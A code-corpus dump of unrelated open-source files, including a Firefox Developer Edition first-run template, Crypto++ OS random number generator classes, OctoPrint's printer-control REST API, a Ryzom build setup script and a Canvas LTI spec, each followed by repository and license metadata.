(void)activateInWindowViews:(NSWindow*)aWindow; + (void)deactivateInWindowViews:(NSWindow*)aWindow; @end #endif // nsWindowMap_h_
Yukarumya/Yukarum-Redfoxes
widget/cocoa/nsWindowMap.h
C
mpl-2.0
1,874
{# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. -#} {% add_lang_files "firefox/developer" %} {% extends "/firefox/base-resp.html" %} {% block gtm_page_id %}data-gtm-page-id="/firefox/dev-firstrun/"{% endblock %} {% block extra_meta %}<meta name="robots" content="noindex">{% endblock %} {% block page_css %} {% stylesheet 'firefox_developer_firstrun' %} {% endblock %} {% block page_title_prefix %}{% endblock %} {% block page_title %}{{_('Welcome to Firefox Developer Edition')}}{% endblock %} {% block page_title_suffix %}{% endblock %} {% block page_favicon %}{{ static('img/firefox/developer/favicon.png') }}{% endblock %} {% block page_favicon_large %}{{ static('img/firefox/developer/favicon-196.png') }}{% endblock %} {% block page_image %}{{ static('img/firefox/developer/page-image.png') }}{% endblock %} {% block page_og_url %}{{ url('firefox.developer') }}{% endblock %} {% block page_og_desc %} {{_('Built for those who build the Web. Introducing the only browser made for developers.')}} {% endblock %} {% block body_id %}firefox-developer-firstrun{% endblock %} {% block body_class %}blueprint{% endblock %} {% block string_data %} data-devtools-title="{{ _('Developer Tools') }}" data-devtools-text="{{ _('The most complete browser made just for developers, Firefox Developer Edition has every dev tool you’ll need built right in.') }}" data-next-sync="{{ _('Next: Sync') }}" data-sync-title="{{ _('Important') }}" data-sync-text="{{ _('Sync your new Developer Edition profile to your Firefox Account to access bookmarks, browsing history, passwords and more from your existing Firefox profile.') }}" data-doorhanger-sync="{{ _('Sync now') }}" data-doorhanger-close="{{ _('Close') }}" data-doorhanger-nothanks="{{ _('No thanks') }}" data-devtools-icon="{{ static('img/firefox/dev-firstrun/devtools-blue.png') }}" data-devtools-icon-high-res="{{ static('img/firefox/dev-firstrun/devtools-blue-high-res.png') }}" data-sync-icon="{{ static('img/firefox/dev-firstrun/sync-blue.png') }}" data-sync-icon-high-res="{{ static('img/firefox/dev-firstrun/sync-blue-high-res.png') }}" data-sync-reminder-title="{{ _('Before you go&hellip;') }}" data-sync-reminder-text="{{ _('If you continue without syncing your new Developer Edition profile, you could lose access to important browsing data from your existing Firefox profile.') }} {{ _('To sync now, choose the Sync option from this menu.') }}" {% endblock %} {% block site_header_nav %}{% endblock %} {% block site_header_logo %} <h2>{{ high_res_img('firefox/firstrun/dev/title.png', {'alt': _('Firefox Developer Edition'), 'width': '220', 'height': '84'}) }}</h2> {% endblock %} {% block content %} <main role="main"> <section class="intro container"> <header> <h1>{{_('Welcome to <span>Firefox Developer Edition</span>')}}</h1> <p>{{_('Get to know the features that make it the most complete browser for building the Web.')}}</p> </header> <ul class="features"> {% if l10n_has_tag('firefox_dev_fall') and switch('firefox-dev-fall') %} <li class="feature"> <a href="https://hacks.mozilla.org/2015/11/developer-edition-44-creative-tools-and-more" rel="external"> {{ high_res_img('firefox/firstrun/dev/creative-tools.png', {'alt': 'Screenshot', 'width': '300', 'height': '160', 'class': 'screenshot'}) }} </a> <h2>{{_('Visual Editing Tools')}}</h2> <p>{{_('Visually edit CSS and HTML animations playing on the page from the Inspector panel. Verify alignment, dimensions and padding of any element using the Ruler and Measurement tools.')}}</p> <a href="https://hacks.mozilla.org/2015/11/developer-edition-44-creative-tools-and-more" rel="external" class="more">{{_('Learn more about Visual Editing Tools')}}</a> </li> <li class="feature"> <a href="http://devtoolschallenger.com/" rel="external"> {{ high_res_img('firefox/firstrun/dev/devtools-challenger.png', {'alt': 'Screenshot', 'width': '300', 'height': '160', 'class': 'screenshot'}) }} </a> <h2>{{_('DevTools Challenger')}}</h2> <p>{{_('Use Developer Edition’s visual animation and CSS editing tools to explore the depths of the ocean and interact with the strangest of creatures.')}}</p> <a href="http://devtoolschallenger.com/" rel="external" class="more">{{_('Try DevTools Challenger')}}</a> </li> {% else %} <li class="feature"> <a href="https://developer.mozilla.org/docs/Tools/Performance" rel="external"> <img src="{{ static('img/firefox/firstrun/dev/feature-performancetools.png') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Performance Tools')}}</h2> <p>{{_('Examine your web content’s frame rate, memory consumption and JS profile in a consolidated timeline view to help easily identify and troubleshoot performance bottlenecks.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Performance" rel="external" class="more">{{_('Learn more about Performance Tools')}}</a> {% if LANG.startswith('en-') %} <br><a href="http://codepen.io/mozhacks/pen/xGgevw?editors=001?utm_source=mozilla.org&amp;utm_medium=referral&amp;utm_campaign=firefox-developer-game&amp;utm_content=firstrun-dev-tour" rel="external" class="more">{{_('Play the game on Codepen')}}</a> {% endif %} <div class="responsive-video-container"> <div class="video" data-video-id="eH0R10Ga4Hs"></div> </div> </li> <li class="feature"> <a href="https://www.youtube.com/watch?v=eQqNfkqIJdw" rel="external" class="video-play"> <img src="{{ static('img/firefox/firstrun/dev/feature-inspector-large.jpg') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Page Inspector')}}</h2> <p>{{_('Examine the HTML and CSS of any Web page and easily modify the structure and layout of a page.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Page_Inspector" rel="external" class="more">{{_('Learn more about Page Inspector')}}</a> <div class="responsive-video-container"> <div class="video" data-video-id="eQqNfkqIJdw"></div> </div> </li> {% endif %} </ul> <div class="notice"> <h4>{{ _('Important: Sync your new profile') }}</h4> <p> {{ _('Developer Edition comes with a new profile so you can run it alongside other versions of Firefox.') }} {{ _('To access your bookmarks, browsing history and more, you need to sync the profile with your existing Firefox Account, or create a new one.') }} <a href="https://support.mozilla.org/kb/recover-lost-bookmarks-firefox-developer-edition" rel="external" class="more">{{ _('Learn more') }}</a> </p> </div> </section> <section class="more-features"> <div class="container"> <header> <h2>{{_('Features and tools')}}</h2> </header> <ul class="features"> <li class="feature"> <a href="https://www.youtube.com/watch?v=R_qDaLQ8ghg" rel="external" class="video-play"> <img src="{{ static('img/firefox/firstrun/dev/feature-webaudio.jpg') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Web Audio Editor')}}</h2> <p>{{_('Inspect and interact with Web Audio API in real time to ensure that all audio nodes are connected in the way you expect.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Web_Audio_Editor" rel="external" class="more">{{_('Learn more about Web Audio Editor')}}</a> <div class="responsive-video-container"> <div class="video" data-video-id="R_qDaLQ8ghg"></div> </div> </li> {% if l10n_has_tag('firefox_dev_fall') and switch('firefox-dev-fall') %} <li class="feature"> <a href="https://developer.mozilla.org/docs/Tools/Performance" rel="external"> <img src="{{ static('img/firefox/firstrun/dev/performance-tools.png') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Performance Tools')}}</h2> <p>{{_('Examine your web content’s frame rate, memory consumption and JS profile in a consolidated timeline view to help easily identify and troubleshoot performance bottlenecks.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Performance" rel="external" class="more">{{_('Learn more about Performance Tools')}}</a> {% if LANG.startswith('en-') %} <br><a href="http://codepen.io/mozhacks/pen/xGgevw?editors=001?utm_source=mozilla.org&amp;utm_medium=referral&amp;utm_campaign=firefox-developer-game&amp;utm_content=firstrun-dev-tour" rel="external" class="more">{{_('Play the game on Codepen')}}</a> {% endif %} <div class="responsive-video-container"> <div class="video" data-video-id="eH0R10Ga4Hs"></div> </div> </li> <li class="feature"> <a href="https://www.youtube.com/watch?v=eQqNfkqIJdw" rel="external" class="video-play"> <img src="{{ static('img/firefox/firstrun/dev/feature-inspector.png') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Page Inspector')}}</h2> <p>{{_('Examine the HTML and CSS of any Web page and easily modify the structure and layout of a page.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Page_Inspector" rel="external" class="more">{{_('Learn more about Page Inspector')}}</a> <div class="responsive-video-container"> <div class="video" data-video-id="eQqNfkqIJdw"></div> </div> </li> {% endif %} <li class="feature"> <a href="https://www.youtube.com/watch?v=iEDk8o9ehlw" rel="external" class="video-play"> <img src="{{ static('img/firefox/firstrun/dev/feature-console.jpg') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Web Console')}}</h2> <p>{{_('See logged information associated with a Web page and use Web Console to interact with Web pages using JavaScript.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Web_Console" rel="external" class="more">{{_('Learn more about Web Console')}}</a> <div class="responsive-video-container"> <div class="video" data-video-id="iEDk8o9ehlw"></div> </div> </li> <li class="feature"> <a href="https://www.youtube.com/watch?v=OS4AxYFLCIE" rel="external" class="video-play"> <img src="{{ static('img/firefox/firstrun/dev/feature-debugger.jpg') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('JavaScript Debugger')}}</h2> <p>{{_('Step through JavaScript code and examine or modify its state to help track down bugs.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Debugger" rel="external" class="more">{{_('Learn more about JavaScript Debugger')}}</a> <div class="responsive-video-container"> <div class="video" data-video-id="OS4AxYFLCIE"></div> </div> </li> <li class="feature"> <a href="https://www.youtube.com/watch?v=w4zSG53Qlbk" rel="external" class="video-play"> <img src="{{ static('img/firefox/firstrun/dev/feature-network.jpg') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Network Monitor')}}</h2> <p>{{_('See all the network requests your browser makes, how long each request takes and details of each request.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Network_Monitor" rel="external" class="more">{{_('Learn more about Network Monitor')}}</a> <div class="responsive-video-container"> <div class="video" data-video-id="w4zSG53Qlbk"></div> </div> </li> <li class="feature"> <a href="https://www.youtube.com/watch?v=3kdBvvIZIqU" rel="external" class="video-play"> <img src="{{ static('img/firefox/firstrun/dev/feature-style-editor.jpg') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Style Editor')}}</h2> <p>{{_('View and edit CSS styles associated with a Web page, create new ones and apply existing CSS stylesheets to any page.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Style_Editor" rel="external" class="more">{{_('Learn more about Style Editor')}}</a> <div class="responsive-video-container"> <div class="video" data-video-id="3kdBvvIZIqU"></div> </div> </li> <li class="feature"> <a href="https://www.youtube.com/watch?v=iJ4C7VnIMC8" class="video-play" rel="external"> <img src="{{ static('img/firefox/developer/feature-responsive.jpg') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{ _('Responsive Design View ') }}</h2> <p>{{ _('See how your Website or Web app will look on different screen sizes without changing the size of your browser window.') }}</p> <a href="https://developer.mozilla.org/docs/Tools/Responsive_Design_View" class="more" rel="external">{{ _('Learn more about Responsive Design View') }}</a> <div class="responsive-video-container"> <div class="video" data-video-id="iJ4C7VnIMC8"></div> </div> </li> <li class="feature"> <a href="https://www.youtube.com/watch?v=eH0R10Ga4Hs" class="video-play" rel="external"> <img src="{{ static('img/firefox/developer/feature-valence.jpg') }}" alt="{{ _('Screenshot') }}" class="screenshot"> </a> <h2>{{_('Valence')}}</h2> <p>{{_('Develop and debug your apps across multiple browsers and devices with this powerful extension that comes pre-installed with Firefox Developer Edition.')}}</p> <a href="https://developer.mozilla.org/docs/Tools/Firefox_Tools_Adapter" class="more" rel="external">{{_('Learn more about Valence')}}</a> <div class="responsive-video-container"> <div class="video" data-video-id="eH0R10Ga4Hs"></div> </div> </li> </ul> </div> </section> </main> {% endblock %} {% block email_form %}{% endblock %} {% block js %} {% javascript 'firefox_developer_firstrun' %} {% endblock %}
glogiotatidis/bedrock
bedrock/firefox/templates/firefox/dev-firstrun.html
HTML
mpl-2.0
14,620
/* * Copyright (C) 2007 Tommi Maekitalo * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * */ #ifndef ZIM_ZINTSTREAM_H #define ZIM_ZINTSTREAM_H #include <string> #include <iostream> #include <zim/zim.h> /* ZInt implements a int compressor and decompressor. The algorithm compresses small values into fewer bytes. The idea is to add information about used bytes in the first byte. The number of additional bytes used is specified by the number of set bits counted from the most significant bit. So the numbers 0-127 are encoded as is, since they fit into the 7 low order bits and the high order bit specifies, that no additional bytes are used. The number starting from 128 up to 16383 need more than 7 bits, so we need to set the highest order bit to 1 and the next bit to 0, leaving 6 bits of actual data, which is used as the low order bits of the number. Since the numbers 0-127 are already encoded in one byte, the 127 is substracted from the actual number, so a 2 byte zero is actually a 128. The same logic continues on the 3rd, 4th, ... byte. Up to 7 additional bytes could used, since the first byte must contain at least one 0. This particular implementation only represents uint32_t values (numbers up to 2^32-1), so it will only ever emit 5 bytes per input value. binary range ------------------------------- -------------------------------------------------- 0xxx xxxx 0 - 127 10xx xxxx xxxx xxxx 128 - (2^14+128-1 = 16511) 110x xxxx xxxx xxxx xxxx xxxx 16512 - (2^21+16512-1 = 2113663) 1110 xxxx xxxx xxxx xxxx xxxx xxxx xxxx 2113664 - (2^28+2113664-1 = 270549119) ... */ namespace zim { class ZIntStream { std::istream* _istream; std::ostream* _ostream; public: /// prepare ZIntStream for compression or decompression explicit ZIntStream(std::iostream& iostream) : _istream(&iostream), _ostream(&iostream) { } /// prepare ZIntStream for decompression explicit ZIntStream(std::istream& istream) : _istream(&istream), _ostream(0) { } /// prepare ZIntStream for compression explicit ZIntStream(std::ostream& ostream) : _istream(0), _ostream(&ostream) { } /// decompresses one value from input stream and returns it size_type get(); ZIntStream& get(size_type &value) { value = get(); return *this; } /// compresses one value to output stream ZIntStream& put(size_type value); operator bool() const { return (_istream == 0 || *_istream) && (_ostream == 0 || *_ostream); } }; } #endif // ZIM_ZINTSTREAM_H
carmenfdezb/Zimpedia
sailfish/libs/zimlib/include/zim/zintstream.h
C
mpl-2.0
3,493
#ifndef CRYPTOPP_OSRNG_H #define CRYPTOPP_OSRNG_H //! \file #include "config.h" #ifdef OS_RNG_AVAILABLE #include "randpool.h" #include "rng.h" #include "aes.h" #include "sha.h" #include "fips140.h" NAMESPACE_BEGIN(CryptoPP) //! Exception class for Operating-System Random Number Generator. class CRYPTOPP_DLL OS_RNG_Err : public Exception { public: OS_RNG_Err(const std::string &operation); }; #ifdef NONBLOCKING_RNG_AVAILABLE #ifdef CRYPTOPP_WIN32_AVAILABLE class CRYPTOPP_DLL MicrosoftCryptoProvider { public: MicrosoftCryptoProvider(); ~MicrosoftCryptoProvider(); #if defined(_WIN64) typedef unsigned __int64 ProviderHandle; // type HCRYPTPROV, avoid #include <windows.h> #else typedef unsigned long ProviderHandle; #endif ProviderHandle GetProviderHandle() const {return m_hProvider;} private: ProviderHandle m_hProvider; }; #pragma comment(lib, "advapi32.lib") #endif //! encapsulate CryptoAPI's CryptGenRandom or /dev/urandom class CRYPTOPP_DLL NonblockingRng : public RandomNumberGenerator { public: NonblockingRng(); ~NonblockingRng(); void GenerateBlock(byte *output, size_t size); protected: #ifdef CRYPTOPP_WIN32_AVAILABLE # ifndef WORKAROUND_MS_BUG_Q258000 MicrosoftCryptoProvider m_Provider; # endif #else int m_fd; #endif }; #endif #ifdef BLOCKING_RNG_AVAILABLE //! encapsulate /dev/random, or /dev/srandom on OpenBSD class CRYPTOPP_DLL BlockingRng : public RandomNumberGenerator { public: BlockingRng(); ~BlockingRng(); void GenerateBlock(byte *output, size_t size); protected: int m_fd; }; #endif CRYPTOPP_DLL void CRYPTOPP_API OS_GenerateRandomBlock(bool blocking, byte *output, size_t size); //! Automaticly Seeded Randomness Pool /*! This class seeds itself using an operating system provided RNG. */ class CRYPTOPP_DLL AutoSeededRandomPool : public RandomPool { public: //! use blocking to choose seeding with BlockingRng or NonblockingRng. the parameter is ignored if only one of these is available explicit AutoSeededRandomPool(bool blocking = false, unsigned int seedSize = 32) {Reseed(blocking, seedSize);} void Reseed(bool blocking = false, unsigned int seedSize = 32); }; //! RNG from ANSI X9.17 Appendix C, seeded using an OS provided RNG template <class BLOCK_CIPHER> class AutoSeededX917RNG : public RandomNumberGenerator, public NotCopyable { public: //! use blocking to choose seeding with BlockingRng or NonblockingRng. the parameter is ignored if only one of these is available explicit AutoSeededX917RNG(bool blocking = false, bool autoSeed = true) {if (autoSeed) Reseed(blocking);} void Reseed(bool blocking = false, const byte *additionalEntropy = NULL, size_t length = 0); // exposed for testing void Reseed(const byte *key, size_t keylength, const byte *seed, const byte *timeVector); bool CanIncorporateEntropy() const {return true;} void IncorporateEntropy(const byte *input, size_t length) {Reseed(false, input, length);} void GenerateIntoBufferedTransformation(BufferedTransformation &target, const std::string &channel, lword length) {m_rng->GenerateIntoBufferedTransformation(target, channel, length);} private: member_ptr<RandomNumberGenerator> m_rng; }; template <class BLOCK_CIPHER> void AutoSeededX917RNG<BLOCK_CIPHER>::Reseed(const byte *key, size_t keylength, const byte *seed, const byte *timeVector) { m_rng.reset(new X917RNG(new typename BLOCK_CIPHER::Encryption(key, keylength), seed, timeVector)); } template <class BLOCK_CIPHER> void AutoSeededX917RNG<BLOCK_CIPHER>::Reseed(bool blocking, const byte *input, size_t length) { SecByteBlock seed(BLOCK_CIPHER::BLOCKSIZE + BLOCK_CIPHER::DEFAULT_KEYLENGTH); const byte *key; do { OS_GenerateRandomBlock(blocking, seed, seed.size()); if (length > 0) { SHA256 hash; hash.Update(seed, seed.size()); hash.Update(input, length); hash.TruncatedFinal(seed, UnsignedMin(hash.DigestSize(), seed.size())); } key = seed + BLOCK_CIPHER::BLOCKSIZE; } // check that seed and key don't have same value while (memcmp(key, seed, STDMIN((unsigned int)BLOCK_CIPHER::BLOCKSIZE, (unsigned int)BLOCK_CIPHER::DEFAULT_KEYLENGTH)) == 0); Reseed(key, BLOCK_CIPHER::DEFAULT_KEYLENGTH, seed, NULL); } CRYPTOPP_DLL_TEMPLATE_CLASS AutoSeededX917RNG<AES>; //! this is AutoSeededX917RNG\<AES\> in FIPS mode, otherwise it's AutoSeededRandomPool #if CRYPTOPP_ENABLE_COMPLIANCE_WITH_FIPS_140_2 typedef AutoSeededX917RNG<AES> DefaultAutoSeededRNG; #else typedef AutoSeededRandomPool DefaultAutoSeededRNG; #endif NAMESPACE_END #endif #endif
michaelforfxhelp/master
third_party/cryptopp/osrng.h
C
mpl-2.0
4,657
<?php require_once('include/MVC/View/views/view.list.php'); require_once('modules/Cases/CasesListViewSmarty.php'); class CasesViewList extends ViewList { function __construct(){ parent::__construct(); } /** * @deprecated deprecated since version 7.6, PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code, use __construct instead */ function CasesViewList(){ $deprecatedMessage = 'PHP4 Style Constructors are deprecated and will be remove in 7.8, please update your code'; if(isset($GLOBALS['log'])) { $GLOBALS['log']->deprecated($deprecatedMessage); } else { trigger_error($deprecatedMessage, E_USER_DEPRECATED); } self::__construct(); } function preDisplay(){ $this->lv = new CasesListViewSmarty(); } }
noelhunter/SuiteCRM
modules/Cases/views/view.list.php
PHP
agpl-3.0
849
# coding=utf-8 __author__ = "Gina Häußge <osd@foosel.net>" __license__ = 'GNU Affero General Public License http://www.gnu.org/licenses/agpl.html' from flask import request, jsonify, make_response import re from octoprint.settings import settings, valid_boolean_trues from octoprint.server import printer, restricted_access, NO_CONTENT from octoprint.server.api import api import octoprint.util as util #~~ Printer @api.route("/printer", methods=["GET"]) def printerState(): if not printer.isOperational(): return make_response("Printer is not operational", 409) # process excludes excludes = [] if "exclude" in request.values: excludeStr = request.values["exclude"] if len(excludeStr.strip()) > 0: excludes = filter(lambda x: x in ["temperature", "sd", "state"], map(lambda x: x.strip(), excludeStr.split(","))) result = {} # add temperature information if not "temperature" in excludes: result.update({"temperature": _getTemperatureData(lambda x: x)}) # add sd information if not "sd" in excludes and settings().getBoolean(["feature", "sdSupport"]): result.update({"sd": {"ready": printer.isSdReady()}}) # add state information if not "state" in excludes: state = printer.getCurrentData()["state"] result.update({"state": state}) return jsonify(result) #~~ Tool @api.route("/printer/tool", methods=["POST"]) @restricted_access def printerToolCommand(): if not printer.isOperational(): return make_response("Printer is not operational", 409) valid_commands = { "select": ["tool"], "target": ["targets"], "offset": ["offsets"], "extrude": ["amount"] } command, data, response = util.getJsonCommandFromRequest(request, valid_commands) if response is not None: return response validation_regex = re.compile("tool\d+") ##~~ tool selection if command == "select": tool = data["tool"] if re.match(validation_regex, tool) is None: return make_response("Invalid tool: %s" % tool, 400) if not tool.startswith("tool"): return make_response("Invalid tool for selection: %s" % tool, 400) printer.changeTool(tool) ##~~ temperature elif command == "target": targets = data["targets"] # make sure the targets are valid and the values are numbers validated_values = {} for tool, value in targets.iteritems(): if re.match(validation_regex, tool) is None: return make_response("Invalid target for setting temperature: %s" % tool, 400) if not isinstance(value, (int, long, float)): return make_response("Not a number for %s: %r" % (tool, value), 400) validated_values[tool] = value # perform the actual temperature commands for tool in validated_values.keys(): printer.setTemperature(tool, validated_values[tool]) ##~~ temperature offset elif command == "offset": offsets = data["offsets"] # make sure the targets are valid, the values are numbers and in the range [-50, 50] validated_values = {} for tool, value in offsets.iteritems(): if re.match(validation_regex, tool) is None: return make_response("Invalid target for setting temperature: %s" % tool, 400) if not isinstance(value, (int, long, float)): return make_response("Not a number for %s: %r" % (tool, value), 400) if not -50 <= value <= 50: return make_response("Offset %s not in range [-50, 50]: %f" % (tool, value), 400) validated_values[tool] = value # set the offsets printer.setTemperatureOffset(validated_values) ##~~ extrusion elif command == "extrude": if printer.isPrinting(): # do not extrude when a print job is running return make_response("Printer is currently printing", 409) amount = data["amount"] if not isinstance(amount, (int, long, float)): return make_response("Not a number for extrusion amount: %r" % amount, 400) printer.extrude(amount) return NO_CONTENT @api.route("/printer/tool", methods=["GET"]) def printerToolState(): def deleteBed(x): data = dict(x) if "bed" in data.keys(): del data["bed"] return data return jsonify(_getTemperatureData(deleteBed)) ##~~ Heated bed @api.route("/printer/bed", methods=["POST"]) @restricted_access def printerBedCommand(): if not printer.isOperational(): return make_response("Printer is not operational", 409) valid_commands = { "target": ["target"], "offset": ["offset"] } command, data, response = util.getJsonCommandFromRequest(request, valid_commands) if response is not None: return response ##~~ temperature if command == "target": target = data["target"] # make sure the target is a number if not isinstance(target, (int, long, float)): return make_response("Not a number: %r" % target, 400) # perform the actual temperature command printer.setTemperature("bed", target) ##~~ temperature offset elif command == "offset": offset = data["offset"] # make sure the offset is valid if not isinstance(offset, (int, long, float)): return make_response("Not a number: %r" % offset, 400) if not -50 <= offset <= 50: return make_response("Offset not in range [-50, 50]: %f" % offset, 400) # set the offsets printer.setTemperatureOffset({"bed": offset}) return NO_CONTENT @api.route("/printer/bed", methods=["GET"]) def printerBedState(): def deleteTools(x): data = dict(x) for k in data.keys(): if k.startswith("tool"): del data[k] return data return jsonify(_getTemperatureData(deleteTools)) ##~~ Print head @api.route("/printer/printhead", methods=["POST"]) @restricted_access def printerPrintheadCommand(): if not printer.isOperational() or printer.isPrinting(): # do not jog when a print job is running or we don't have a connection return make_response("Printer is not operational or currently printing", 409) valid_commands = { "jog": [], "home": ["axes"] } command, data, response = util.getJsonCommandFromRequest(request, valid_commands) if response is not None: return response valid_axes = ["x", "y", "z"] ##~~ jog command if command == "jog": # validate all jog instructions, make sure that the values are numbers validated_values = {} for axis in valid_axes: if axis in data: value = data[axis] if not isinstance(value, (int, long, float)): return make_response("Not a number for axis %s: %r" % (axis, value), 400) validated_values[axis] = value # execute the jog commands for axis, value in validated_values.iteritems(): printer.jog(axis, value) ##~~ home command elif command == "home": validated_values = [] axes = data["axes"] for axis in axes: if not axis in valid_axes: return make_response("Invalid axis: %s" % axis, 400) validated_values.append(axis) # execute the home command printer.home(validated_values) return NO_CONTENT ##~~ SD Card @api.route("/printer/sd", methods=["POST"]) @restricted_access def printerSdCommand(): if not settings().getBoolean(["feature", "sdSupport"]): return make_response("SD support is disabled", 404) if not printer.isOperational() or printer.isPrinting() or printer.isPaused(): return make_response("Printer is not operational or currently busy", 409) valid_commands = { "init": [], "refresh": [], "release": [] } command, data, response = util.getJsonCommandFromRequest(request, valid_commands) if response is not None: return response if command == "init": printer.initSdCard() elif command == "refresh": printer.refreshSdFiles() elif command == "release": printer.releaseSdCard() return NO_CONTENT @api.route("/printer/sd", methods=["GET"]) def printerSdState(): if not settings().getBoolean(["feature", "sdSupport"]): return make_response("SD support is disabled", 404) return jsonify(ready=printer.isSdReady()) ##~~ Commands @api.route("/printer/command", methods=["POST"]) @restricted_access def printerCommand(): # TODO: document me if not printer.isOperational(): return make_response("Printer is not operational", 409) if not "application/json" in request.headers["Content-Type"]: return make_response("Expected content type JSON", 400) data = request.json parameters = {} if "parameters" in data.keys(): parameters = data["parameters"] commands = [] if "command" in data.keys(): commands = [data["command"]] elif "commands" in data.keys(): commands = data["commands"] commandsToSend = [] for command in commands: commandToSend = command if len(parameters) > 0: commandToSend = command % parameters commandsToSend.append(commandToSend) printer.commands(commandsToSend) return NO_CONTENT @api.route("/printer/command/custom", methods=["GET"]) def getCustomControls(): # TODO: document me customControls = settings().get(["controls"]) return jsonify(controls=customControls) def _getTemperatureData(filter): if not printer.isOperational(): return make_response("Printer is not operational", 409) tempData = printer.getCurrentTemperatures() result = { "temps": filter(tempData) } if "history" in request.values.keys() and request.values["history"] in valid_boolean_trues: tempHistory = printer.getTemperatureHistory() limit = 300 if "limit" in request.values.keys() and unicode(request.values["limit"]).isnumeric(): limit = int(request.values["limit"]) history = list(tempHistory) limit = min(limit, len(history)) result.update({ "history": map(lambda x: filter(x), history[-limit:]) }) return result
C-o-r-E/OctoPrint
src/octoprint/server/api/printer.py
Python
agpl-3.0
9,354
#!/usr/bin/python # # \file 0_setup.py # \brief Setup rbank # \date 2009-03-10-22-43-GMT # \author Jan Boon (Kaetemi) # Python port of game data build pipeline. # Setup rbank # # NeL - MMORPG Framework <http://dev.ryzom.com/projects/nel/> # Copyright (C) 2010 Winch Gate Property Limited # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # import time, sys, os, shutil, subprocess, distutils.dir_util sys.path.append("../../configuration") if os.path.isfile("log.log"): os.remove("log.log") log = open("log.log", "w") from scripts import * from buildsite import * from process import * from tools import * from directories import * printLog(log, "") printLog(log, "-------") printLog(log, "--- Setup rbank") printLog(log, "-------") printLog(log, time.strftime("%Y-%m-%d %H:%MGMT", time.gmtime(time.time()))) printLog(log, "") # Setup source directories printLog(log, ">>> Setup source directories <<<") for dir in RBankCmbSourceDirectories: mkPath(log, DatabaseDirectory + "/" + dir) mkPath(log, LeveldesignWorldDirectory) # Setup export directories printLog(log, ">>> Setup export directories <<<") mkPath(log, ExportBuildDirectory + "/" + RBankCmbExportDirectory) mkPath(log, ExportBuildDirectory + "/" + RBankCmbTagExportDirectory) mkPath(log, ExportBuildDirectory + "/" + SmallbankExportDirectory) # Setup build directories printLog(log, ">>> Setup build directories <<<") mkPath(log, ExportBuildDirectory + "/" + ZoneWeldBuildDirectory) for dir in IgLookupDirectories: mkPath(log, ExportBuildDirectory + "/" + dir) for dir in ShapeLookupDirectories: mkPath(log, ExportBuildDirectory + "/" + dir) mkPath(log, ExportBuildDirectory + "/" + RbankBboxBuildDirectory) mkPath(log, ExportBuildDirectory + "/" + IgLandBuildDirectory) mkPath(log, ExportBuildDirectory + "/" + IgOtherBuildDirectory) mkPath(log, ExportBuildDirectory + "/" + RbankTessellationBuildDirectory) mkPath(log, ExportBuildDirectory + "/" + RbankSmoothBuildDirectory) mkPath(log, ExportBuildDirectory + "/" + RbankRawBuildDirectory) mkPath(log, ExportBuildDirectory + "/" + RbankPreprocBuildDirectory) mkPath(log, ExportBuildDirectory + "/" + RbankRetrieversBuildDirectory) mkPath(log, ExportBuildDirectory + "/" + RbankOutputBuildDirectory) # Setup client directories printLog(log, ">>> Setup client directories <<<") mkPath(log, InstallDirectory + "/" + PacsInstallDirectory) log.close() # end of file
osgcc/ryzom
nel/tools/build_gamedata/processes/rbank/0_setup.py
Python
agpl-3.0
2,998
# # Copyright (C) 2014 Instructure, Inc. # # This file is part of Canvas. # # Canvas is free software: you can redistribute it and/or modify it under # the terms of the GNU Affero General Public License as published by the Free # Software Foundation, version 3 of the License. # # Canvas is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR # A PARTICULAR PURPOSE. See the GNU Affero General Public License for more # details. # # You should have received a copy of the GNU Affero General Public License along # with this program. If not, see <http://www.gnu.org/licenses/>. # require 'spec_helper' describe LtiOutbound::LTICourse do it_behaves_like 'an LTI context' it_behaves_like 'it has an attribute setter and getter for', :course_code it_behaves_like 'it provides variable mapping', '$Canvas.course.id', :id it_behaves_like 'it provides variable mapping', '$Canvas.course.sisSourceId', :sis_source_id end
arrivu/hoodemo
gems/lti_outbound/spec/lti_outbound/lti_course_spec.rb
Ruby
agpl-3.0
1,016
